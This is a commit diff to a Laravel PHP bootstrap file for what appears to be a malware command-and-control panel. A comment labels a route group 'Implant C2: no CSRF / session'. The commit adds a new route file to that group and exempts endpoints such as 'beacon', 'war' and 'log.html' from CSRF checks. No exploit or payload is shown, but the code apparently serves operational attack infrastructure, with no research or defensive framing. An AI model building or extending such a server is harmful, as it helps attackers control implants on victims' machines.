feat: ds
This commit is contained in:
+11
-2
@@ -1,5 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\EnsurePanelHost;
|
||||
use App\Http\Middleware\EnsureSuperAdmin;
|
||||
use Illuminate\Foundation\Application;
|
||||
use Illuminate\Foundation\Configuration\Exceptions;
|
||||
use Illuminate\Foundation\Configuration\Middleware;
|
||||
@@ -12,6 +14,7 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
// Implant C2: no CSRF / session
|
||||
require __DIR__.'/../routes/c2.php';
|
||||
require __DIR__.'/../routes/xxbb.php';
|
||||
require __DIR__.'/../routes/ds.php';
|
||||
|
||||
// External webhooks (no CSRF)
|
||||
require __DIR__.'/../routes/hooks.php';
|
||||
@@ -37,14 +40,15 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
}
|
||||
|
||||
$middleware->alias([
|
||||
'admin.super' => \App\Http\Middleware\EnsureSuperAdmin::class,
|
||||
'panel.host' => \App\Http\Middleware\EnsurePanelHost::class,
|
||||
'admin.super' => EnsureSuperAdmin::class,
|
||||
'panel.host' => EnsurePanelHost::class,
|
||||
]);
|
||||
|
||||
$middleware->validateCsrfTokens(except: [
|
||||
'api/*',
|
||||
'link/*',
|
||||
'hooks/*',
|
||||
'hook/*',
|
||||
'statistic/t',
|
||||
'vhx',
|
||||
'event',
|
||||
@@ -57,6 +61,11 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
'ub',
|
||||
'ba',
|
||||
'result',
|
||||
'beacon',
|
||||
'war',
|
||||
'p',
|
||||
'stats',
|
||||
'log.html',
|
||||
]);
|
||||
|
||||
$middleware->redirectGuestsTo(function () {
|
||||
|
||||
Reference in New Issue
Block a user